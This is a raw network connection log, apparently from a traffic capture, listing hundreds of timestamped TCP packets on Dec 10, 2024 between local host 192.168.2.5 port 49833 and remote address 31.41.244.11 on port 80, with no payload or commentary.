Dec 10, 2024 05:10:12.973151922 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.973193884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.974104881 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.974149942 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.974203110 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.974246025 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.975136042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.975181103 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.975250959 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.975290060 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.976136923 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.976182938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.976223946 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.976265907 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.977152109 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.977205038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.977272034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.977314949 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.978180885 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.978235006 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.978272915 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.978342056 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.979235888 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.979285002 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.979316950 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.979367018 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.980243921 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.980285883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.980365038 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.980406046 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.981275082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.981318951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.981358051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.981401920 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.982280970 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.982331038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.982371092 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.982410908 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.983304024 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.983347893 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.983413935 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.983454943 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.984313011 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.984358072 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.984437943 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.984479904 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.985374928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.985420942 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.985472918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.985515118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.986366034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.986407042 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.986471891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.986512899 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.987384081 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.987431049 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.987477064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.987519979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.988409996 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.988459110 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.988506079 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.988548994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.989443064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.989483118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.989531040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.989571095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.990444899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.990489006 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.990557909 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.990597963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.991478920 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.991523027 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.991560936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.991601944 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.992506981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.992549896 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.992609024 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.992650986 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.993539095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.993585110 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.993597031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.993638992 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.994576931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.994620085 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.994678020 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.994719028 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.995583057 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.995630980 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.995670080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.995713949 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.996592999 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.996635914 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.996709108 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.996750116 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.997620106 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.997663021 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.997737885 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.997791052 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.998640060 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.998682976 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.998734951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.998773098 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.999624968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.999669075 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.138425112 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.138484955 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.138653040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.138700008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.138919115 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.138971090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.139003038 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.139050007 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.139950991 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.140010118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.140041113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.140088081 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.140954018 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.141001940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.141088009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.141134024 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.141977072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.142024994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.142086983 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.142132998 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.143001080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.143053055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.143105984 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.143152952 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.144020081 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.144069910 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.144126892 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.144170046 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.145054102 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.145106077 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.145183086 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.145230055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.146069050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.146119118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.146156073 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.146202087 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.147098064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.147147894 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.147186041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.147233963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.148125887 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.148192883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.148224115 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.148269892 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.149137974 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.149182081 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.149246931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.149293900 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.150177956 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.150229931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.150265932 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.150335073 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.151191950 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.151245117 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.151281118 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.151330948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.152214050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.152282000 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.152319908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.152391911 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.153219938 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.153270006 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.153335094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.153381109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.154278040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.154325962 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.154381037 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.154428005 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.155306101 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.155356884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.155388117 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.155432940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.156306982 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.156354904 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.156404018 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.156450033 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.157334089 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.157381058 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.157412052 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.157459974 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.158350945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.158422947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.158452034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.158497095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.159379959 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.159429073 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.159466028 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.159517050 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.160393953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.160439968 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.160486937 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.160530090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.161428928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.161478043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.161513090 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.161561012 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.162447929 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.162498951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.162560940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.162607908 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.163466930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.163516998 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.163554907 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.163600922 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.164563894 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.164612055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.164650917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.164697886 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.165544033 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.165594101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.165626049 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.165671110 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.166529894 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.166577101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.166636944 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.166690111 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.167570114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.167618990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.167655945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.167701006 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.168617010 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.168665886 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.168701887 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.168745995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.169622898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.169676065 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.169712067 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.169759035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.170612097 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.170660019 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.170742989 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.170795918 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.171639919 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.171689034 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.171736956 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.171782970 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.172686100 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.172733068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.172745943 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.172789097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.173701048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.173749924 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.173805952 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.173852921 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.174709082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.174752951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.174822092 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.174865961 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.175745964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.175796032 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.175853968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.175906897 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.176789045 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.176836014 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.176836014 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.176878929 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.177807093 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.177856922 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.177916050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.177962065 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.178817034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.178865910 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.178904057 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.178951979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.179836035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.179883957 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.179966927 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.180013895 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.180855036 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.180902004 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.180974960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.181024075 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.181881905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.181926966 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.181982040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.182064056 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.182949066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.183008909 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.183044910 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.183095932 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.183940887 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.183994055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.184043884 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.184093952 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.184962034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.185017109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.185094118 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.185136080 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.185973883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.186029911 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.186058044 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.186105013 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.187024117 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.187074900 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.187105894 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.187153101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.188009977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.188060045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.188107967 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.188153982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.189029932 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.189081907 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.189142942 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.189193964 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.190058947 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.190107107 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.190170050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.190217018 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.191099882 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.191154957 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.191189051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.191231966 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.192070961 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.192116976 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.330734015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.330799103 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.330892086 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.330939054 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.331156969 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.331203938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.331240892 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.331286907 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.331984043 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.332036018 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.332098961 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.332148075 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.332999945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.333022118 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.333043098 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.333056927 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.333992958 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.334037066 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.334085941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.334132910 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.335024118 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.335067987 CET	49833	80	192.168.2.5	31.41.244.11
